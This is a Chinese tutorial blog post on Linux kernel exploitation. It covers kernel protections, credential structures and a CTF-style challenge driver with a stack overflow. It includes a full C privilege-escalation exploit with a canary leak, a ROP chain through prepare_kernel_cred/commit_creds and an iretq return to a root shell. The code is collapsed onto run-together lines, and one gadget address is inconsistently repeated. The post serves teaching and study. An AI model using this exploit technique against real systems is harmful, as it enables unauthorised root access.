查看原文
其他

Linux Kernel Pwn_0_kernel ROP与驱动调试

Ta1pax0s 看雪学苑 2022-07-01

本文为看雪论优秀文章

看雪论坛作者ID:Ta1pax0s



title:Linux Kernel pwn(0)——kernel ROP
date:2020-07-12 13:31:38
tags:
categories:kernel

cover:
https://s1.ax1x.com/2020/07/14/UNnv1P.png





前置知识


内核保护相关


SMAP/SMEP


SMAP(Supervisor Mode Access Prevention,管理模式访问保护)和SMEP(Supervisor Mode Execution Prevention,管理模式执行保护)的作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。arm里面叫PXN(Privilege Execute Never)和PAN(Privileged Access Never)。

SMEP类似于前面说的NX,不过一个是在内核态中,一个是在用户态中。和NX一样SMAP/SMEP需要处理器支持,可以通过cat /proc/cpuinfo查看,在内核命令行中添加nosmap和nosmep禁用。

Windows系统从win8开始启用SMEP,Windows内核枚举哪些处理器的特性可用,当它看到处理器支持SMEP时通过在CR4寄存器中设置适当的位来表示应该强制执行SMEP,可以通过ROP或者jmp到一个RWX的内核地址绕过。linux内核从3.0开始支持SMEP,3.7开始支持SMAP。

在没有SMAP/SMEP的情况下把内核指针重定向到用户空间的漏洞利用方式被称为ret2usr。physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。

另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。这种漏洞利用方式叫ret2dir。

简单来讲就是隔离了内核和用户空间,内核没法用用户空间的代码。

Stack protector


类似于用户态的canary?


当然在内核中也是有这种防护的,编译内核时设置CONFIG_CC_STACKPROTECTOR选项即可,该补丁是Tejun Heo在09年给主线kernel提交的。

2.6.24:首次出现该编译选项并实现了x64平台的进程上下文栈保护支持。

2.6.30:新增对内核中断上下文的栈保护和对x32平台进程上下文栈保护支持。

3.14:对该功能进行了一次升级以支持gcc的-fstack-protector-strong参数,提供更大范围的栈保护关于函数返回地址的问题属于CFI(Control Flow Integrity,控制流完整性保护)中的后向控制流完整性保护。

近几年人们提出了safe-stack和shadow-call-stack引入一个专门存储返回地址的栈替代Stack Protector,shadow-call-stack开销更小一点。这项技术已经应用于android,而linux内核仍然在等待硬件的支持。


Kernel Address Display Restriction


在linux内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权,它们的地址可以从/proc/kallsyms中读取。从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。(非root用户不可读取)


KALSR


内核地址随机化,类似于用户态的alsr,非默认开始。

内核提权相关


方式


一般调用commit_creds(prepare_kernel_cred(0))完成提权然后用户态“着陆”起shell。

cred结构体


kernel用cred结构体记录进程的权限(每个进程中都有一个cred结构),保存了进程权限相关信息(uid、gid),如果能修改这个cred,就完成了提权。

struct cred { atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */#ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested /* keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY void *security; /* subjective LSM security */#endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ struct rcu_head rcu; /* RCU deletion hook */} __randomize_layout;

状态切换


user2kernl:


ENTRY(entry_SYSCALL_64) /* * Interrupts are off on entry. * We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON, * it is too small to ever cause noticeable irq latency. */ SWAPGS_UNSAFE_STACK //swapgs /* * A hypervisor implementation might want to use a label * after the swapgs, so that it can do the swapgs * for the guest and jump here on syscall. */GLOBAL(entry_SYSCALL_64_after_swapgs)
movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
TRACE_IRQS_OFF
/* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ pushq %rax /* pt_regs->orig_ax */ pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ pushq %rdx /* pt_regs->dx */ pushq %rcx /* pt_regs->cx */ pushq $-ENOSYS /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
/* * If we need to do entry work or if we guess we'll need to do * exit work, go straight to the slow path. */ movq PER_CPU_VAR(current_task), %r11 testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11) jnz entry_SYSCALL64_slow_path

1.swapgs切换到kernel GS

2.保存栈值,设置内核栈#define PER_CPU_VAR(var) %__percpu_seg:var其中%__percpu_seg是GS

3.压栈保存寄存器

4.判断类型

5.通过系统调用号跳转


entry_SYSCALL64_slow_path: /* IRQs are off. */ SAVE_EXTRA_REGS movq %rsp, %rdi call do_syscall_64 /* returns with IRQs disabled */

kernel2user


1.swapgs恢复GS
2.iretq(加上寄存器信息)或sysretq





文件结构


1.boot.sh:内核启动脚本;


qemu-system-x86_64 \ "默认使用qemu启动"-kernel bzImage \ "Linux内核镜像文件"-initrd rootfs.img \ "打包后的文件系统"-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet" \ "启动界面为终端、内存文件系统RamDisk、"-cpu qemu64,+smep,+smap \ "开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误"-nographic \                "非图形界面"

2.bzImage:Linux内核镜像文件;

3.rootfs.img:打包后的文件系统;

4.rop.ko:有漏洞的驱动文件;

5.vmlinux:vmlinux是未压缩的内核,vmlinux 是ELF文件,即编译出来的最原始的文件。用于kernel-debug,产生system.map符号表,不能用于直接加载,不可以作为启动内核。只是启动过程中的中间媒体。


相关选项:

-cpu kvm64,+smep,+smap 设置 CPU的安全选项, 这里开启了 smap 和 smep
-kernel 设置内核 bzImage 文件的路径
-initrd 设置(利用 busybox 创建的 )rootfs.img ,作为内核启动的文件系统
-gdb tcp::1234 设置 gdb 的调试端口 为 1234





启动之前


首先要对打包后的文件系统进行处理解包:


cp rootfs.img rootfs.cpiomkdir corecd coremv ../rootfs.cpio ./cpio -idmv < rootfs.cpio

现在在文件夹目录下有一个core目录,里面就是文件系统了。效果如下:
这里要注意一下gen.sh他是用来打包文件系统的脚本并生成rootfs.img如下:
find .| cpio -o --format=newc > ../rootfs.img

查看开机自启动脚本 core/etc/init.d:


#!/bin/shmount -t proc none /procmount -t sysfs none /sys
echo /sbin/mdev > /proc/sys/kernel/hotplug/sbin/mdev -s
insmod /home/pwn/rop.ko
chmod -R 111 /binchmod -R 111 /usr/binchmod -R 111 /sbincat /proc/kallsyms > /tmp/kallsyms # 当/proc/sys/kernel/kptr_restrict=1时,普通用户不能通过/proc/kallsyms读取函数地址,为减少难度直接将kallsyms内容写入临时目录chmod 666 /tmp/kallsyms
chown -R 1000:1000 /home/pwn
chown 0:0 /flagchmod 700 /flag
chmod 666 /dev/rop_dev
cd /home/pwnsetsid cttyhack setuidgid 1000 sh
umount /procumount /syspoweroff -d 0 -f


这里把/proc/kallsyms拷贝到/tmp/kallsyms里,并且设置了sid和uidgid,明显不是root用户的。

/proc/kallsyms与内核符号相关。


rop.ko文件


dangerous函数:

void __cdecl dangerous(size_t num){char overflow[16]; // [rsp+8h] [rbp-18h]unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readgsqword(0x28u);*(_QWORD *)overflow = 0LL;*(_QWORD *)&overflow[8] = 0LL;printk(&unk_37F, v2); // 打出canarymemcpy(overflow, kernel_buf, num);}




ROP链构造


查看kaslr与基地址偏移


1.启动起来后执行cat /tmp/kallsyms | grep startup_64得到:ffffffff89e00000 T startup_64。

若此时startup_64不为0xffffffff81000000则差值就是内核基地址的加载偏移
2.得到prepare_kernel_cred地址ffffffff89e834b0 T prepare_kernel_cred

3.得到commit_creds地址ffffffff89e83190 T commit_creds


用户态与内核态的切换


进入内核前保存用户态数据:

size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );}

内核态返回用户态:


swapgs指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据结构的指针,然后才能执行系统调用之类的内核空间程序。

iretq 的堆栈布局如下:

|----------------------|| RIP |<== low mem|----------------------|| CS ||----------------------|| EFLAGS ||----------------------|| RSP ||----------------------|| SS |<== high mem|----------------------|

新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。

ROPgadget


ROPgadget --binary vmlinux > rop_gadget查找vmlinux的ropgadget;

objdump -d vmlinux -M intel | grep -E 'mov rdi|rax' > gadget或者直接dump出来,这样比较多;

之前找了一条gadget0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret结果发现根本不能用,原因在于rax此时是指向新cred的指针(必不为零)test之后zf=0,jne一定会跳转,ret回不来;

最后找到0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret然后补一条0xffffffff8101647d : test al, 1 ; ret。

最终rop布置:

|----------------------|| pop rdi; ret |<== low mem|----------------------|| NULL ||----------------------|| addr of || prepare_kernel_cred()||----------------------|| test al, 1 ; ret ||----------------------||mov rdi, rax ||test rax, rax ||jne 0xffffffff810f1220|| ret ||----------------------|| addr of || commit_creds() ||----------------------|| swapgs; || pop rbp; ret ||----------------------| | NULL ||----------------------| | iretq; ||----------------------|| shell ||----------------------|| user_CS ||----------------------|| user_EFLAGS ||----------------------|| user_RSP ||----------------------|| user_SS |<== high mem|----------------------|

查找iretq


发现ROPgadget中找不到iretq,在这里直接去搜索48 CF找到iretq。

opt+B:


自己写了一个小sh文件:


gcc exp.c -masm=intel -static -o exp &&cp exp ./core/home/pwn/ &&cd core/ &&sh gen.sh &&echo "success!" &&cd ../ &&sh boot.sh


注意这里一定要做静态编译,因为内核中没有glibc这些玩意。

向驱动中的函数下断点


vmlinux本身是去掉符号表的,但我们想断在驱动中的函数。cat /proc/modules | grep rop拿到相关地址。

也可通过lsmod或cat /sys/module/rop/section/.text。

得到rop 16384 0 - Live 0x12345。然后在gdb窗口中:add-symbol-file ./rop.ko 0x12345。接下来就可以直接断在驱动中的函数里了。

但是经过我实际测试,这三个应该效果是一样的,但你必须修改rcS启动脚本以root启动,才能看到真正的地址要不然就是0x000000000。

效果如下:





exp


#define _GNU_SOURCE#include <stdio.h>#include <pthread.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>#define N 256

size_t user_cs, user_ss, user_rflags, user_sp; //保存用户态寄存器状态void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );}
void shell(){ printf("root"); system("/bin/sh");}
size_t get_addr(char *name){ char cmd[N]; FILE *f; size_t info; memset(cmd,0,256); strcat(cmd,"cat /tmp/kallsyms | grep "); strcat(cmd,name); strcat(cmd," >"); strcat(cmd," "); strcat(cmd,name); //printf("execute: %s\n",cmd); system(cmd);
f = fopen(name,"r"); if(!f){ printf("fopen error!\n"); exit(-1); } fscanf(f,"%lx",&info); printf("%s : %lx\n",name,info); fclose(f); return info;}
size_t get_canary(){ FILE *f; size_t info; char *name = "canary"; system("dmesg | grep canary > canary"); f = fopen(name,"r"); if(!f){ printf("fopen error!\n"); exit(-1); } fseek(f,strlen("[ 32.050924] canary is "),SEEK_SET); fscanf(f,"%lx",&info); printf("%s : %lx\n",name,info); fclose(f); return info;}
void *rop(size_t *rop,size_t offset,size_t prepare_kernel_cred,size_t commit_creds){ int i=0; rop[i++] = 0xffffffff810013a8 + offset; //pop rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff8101647d + offset; // 0xffffffff8101647d : test al, 1 ; ret rop[i++] = 0xffffffff8138e454 + offset; // 0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret //A pointer to the new cred struct will be stored in %rax which can then be moved to %rdi again and passed as the first argument to commit_creds().
rop[i++] = commit_creds; rop[i++] = 0xffffffff81c00d5a + offset; // swapgs ; popfq ; ret rop[i++] = 0x0; rop[i++] = 0xffffffff81021d02 + offset; // iretq rop[i++] = (size_t)shell; //rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
}

int main(){ size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary; save_status(); startup_64 = get_addr("startup_64"); prepare_kernel_cred = get_addr("prepare_kernel_cred"); commit_creds = get_addr("commit_creds"); offset = startup_64 - 0xffffffff81000000; printf("offset : %lx\n",offset); int fd = open("/dev/rop_dev",O_WRONLY); if(fd<0){ printf("open error!\n"); exit(-2); } size_t payload[0x10] = {0x1}; write(fd,payload,0x10); write(fd,payload,0x10); //双写打出canary(缓冲区) canary = get_canary(); printf("size_t : %ld\n",sizeof(size_t));


size_t payload2[20]={0}; payload2[0] = 0x6161616161616161; payload2[1] = 0x6161616161616161; // 0x10 payload2[2] = canary; save_status(); rop(&payload2[3],offset,prepare_kernel_cred,commit_creds); printf("start to pwn >\n"); write(fd,payload2,17*8); printf("over!\n"); return 0;}


效果:





参考


https://blog.csdn.net/u013686019/article/details/26846571/
https://www.anquanke.com/post/id/172216
https://www.povcfe.site/2020/05/16/kernel-rop/
https://xz.aliyun.com/t/2306
https://xz.aliyun.com/t/2054?accounttraceid=913e28d0aee642b792d6762fbc95e68ahnaw
安全防护机制
https://bbs.pediy.com/thread-226696.htm



- End -



看雪ID:Ta1pax0s

https://bbs.pediy.com/user-home-876323.htm

  *本文由看雪论坛 Ta1pax0s 原创,转载请注明来自看雪社区。


时间:2020年10月23日 09:00

地点:上海浦东喜来登由由酒店  2楼大宴会厅


我们不见不散!



推荐文章++++

* 最右sign-v2签名算法追踪及逆向还原

* App安全评估手册-Android

* CVE-2020-1472 Netlogon权限提升漏洞分析

* 简析"千层饼"式伪装方式的病毒

* 浅析一个海莲花样本







公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



求分享

求点赞

求在看


“阅读原文”一起来充电吧!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存